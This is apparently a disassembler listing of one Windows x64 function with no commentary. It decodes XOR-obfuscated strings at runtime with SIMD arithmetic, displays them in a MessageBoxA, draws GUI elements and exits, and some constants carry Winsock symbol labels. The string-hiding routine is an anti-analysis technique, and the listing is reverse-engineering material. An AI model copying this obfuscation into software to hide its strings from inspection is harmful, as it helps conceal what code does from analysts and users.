movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm11
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.FZRUVLPUU_]
xorps xmm1, xmm0
movd dword [rbp + 0x5a8], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5ac]
xorps xmm2, xmm1
movd dword [rbp + 0x5ac], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5b0], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x5a8]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140098f80
movups xmm0, xmmword [str.k_GZWk]
movups xmmword [rbp + 0x1110], xmm0
movups xmm1, xmmword [0x1401657a0]
movups xmmword [rbp + 0x1120], xmm1
movups xmm0, xmmword [0x1401657b0]
movups xmmword [rbp + 0x1130], xmm0
movzx eax, word [0x1401657c0]
mov word [rbp + 0x1140], ax
mov r8d, r12d
cmp r15d, 2
jl 0x1400990ff
movdqa xmmword [rsp + 0x50], xmm11
lea rcx, [rbp + 0x1114]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140099010
cmp r8d, 0x32
jge 0x140099140
movsxd rax, r8d
lea r9, [rbp + 0x1110]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140099110
mov r9d, 0x40
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x1110]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140068060
mov dword [rbp + 0x410], 0x42480000
mov dword [rbp + 0x414], 0x43b90000
lea rcx, [rbp + 0x410]
call fcn.140025c50
movups xmm3, xmmword [0x14019a2e8]
mov dword [rbp + 0x418], 0x43f50000
mov dword [rbp + 0x41c], 0x42200000
movups xmm2, xmmword [str.sYWP_]
movups xmmword [rbp + 0xb50], xmm2
mov edx, dword [0x1401657e8]
mov dword [rbp + 0xb60], edx
movzx eax, byte [0x1401657ec]
mov byte [rbp + 0xb64], al
cmp r15d, 2
jl 0x1400993e7
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm10, xmm0
andps xmm10, xmm7
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd ecx, xmm11
movd xmm0, ecx
paddb xmm10, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm10, xmm0
movd dword [rbp + 0xb50], xmm10
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm9, xmm0
andps xmm9, xmm7
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, ecx
paddb xmm9, xmm0
movd xmm1, dword [rbp + 0xb54]
xorps xmm9, xmm1
movd dword [rbp + 0xb54], xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm6, xmm0
andps xmm6, xmm7
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, ecx
paddb xmm6, xmm0
movd xmm1, dword [rbp + 0xb58]
xorps xmm6, xmm1
movd dword [rbp + 0xb58], xmm6
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb5c]
xorps xmm2, xmm1
movd dword [rbp + 0xb5c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm13, xmm0
andps xmm13, xmm7
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, edx
xorps xmm13, xmm1
movd dword [rbp + 0xb60], xmm13
mov r12d, reloc.WS2_32.dll_sendto
mov eax, r12d
lea r8, [rbp + 0xb50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r12b
sub al, cl
add al, 0x30
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x140099400
movdqa xmmword [rbp - 0x80], xmm3
movdqa xmmword [rbp - 0x50], xmm12
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14019a808]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a800]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a7f8]
xor r8d, r8d
lea rdx, [rbp + 0x418]
lea rcx, [rbp + 0xb50]
call fcn.14003e940
test al, al
je 0x1400994a3
mov byte [0x14019b70c], 0
mov byte [0x14019b70d], 0
mov byte [0x14019b70e], 1
mov rcx, r13
call fcn.140025a50
mov dword [rbp + 0x420], 0x440c0000
mov dword [rbp + 0x424], 0x40a00000
lea rcx, [rbp + 0x420]
call fcn.140025c50
movdqa xmm0, xmmword [0x140167fc0]
mov dword [rbp + 0x428], 0x41a00000
mov dword [rbp + 0x42c], 0x41f00000
movzx eax, word [0x1401657f0]
mov word [rbp - 0x64], ax
cmp byte [0x1401657f1], 0
je 0x140099503
mov byte [rbp - 0x64], 0x78
xor byte [rbp - 0x63], 0x31
movups xmm1, xmmword [0x140168000]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmmword [rbp - 0x50], xmm0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a850]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a848]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a840]
xor r8d, r8d
lea rdx, [rbp + 0x428]
lea rcx, [rbp - 0x64]
call fcn.14003f280
test al, al
je 0x140099563
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015b00
mov ecx, 2
call fcn.1400214e0
mov ecx, 1
call fcn.140021590
mov rcx, qword [0x14019b620]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
mov dword [rbp + 0x430], 0
mov dword [rbp + 0x434], 0x43e50000
lea rcx, [rbp + 0x430]
call fcn.140025c50
movss xmm7, dword [rbx + 0x118]
movss xmm6, dword [rbx + 0x11c]
movss xmm8, dword [0x140167e2c]
movss xmm9, dword [0x14011ff44]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x1418]
call fcn.140009840
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1418]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x141c]
movss dword [rbp + 0x1448], xmm7
movss dword [rbp + 0x144c], xmm6
movss dword [rbp + 0x1450], xmm1
movss dword [rbp + 0x1454], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1450]
lea rdx, [rbp + 0x1448]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f5f0
mov qword [rbp + 0x440], 0
lea rcx, [rbp + 0x440]
call fcn.140025c50
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x1408]
call fcn.140009840
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x1408]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x140c]
movss dword [rbp + 0x1438], xmm6
movss dword [rbp + 0x143c], xmm7
movss dword [rbp + 0x1440], xmm1
movss dword [rbp + 0x1444], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1440]
lea rdx, [rbp + 0x1438]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f5f0
mov dword [rbp + 0x450], 0x43160000
mov dword [rbp + 0x454], 0xbf800000
lea rcx, [rbp + 0x450]
call fcn.140025c50
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm14
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm14
movq rdx, xmm0
lea rcx, [rbp + 0x1410]
call fcn.140009840
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x1410]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x1414]
movss dword [rbp + 0x1428], xmm6
movss dword [rbp + 0x142c], xmm7
movss dword [rbp + 0x1430], xmm1
movss dword [rbp + 0x1434], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1430]
lea rdx, [rbp + 0x1428]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f5f0
call fcn.1400155e0
mov rcx, qword [rbp + 0x1558]
xor rcx, rsp
call fcn.140112790
lea r11, [rsp + 0x1708]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3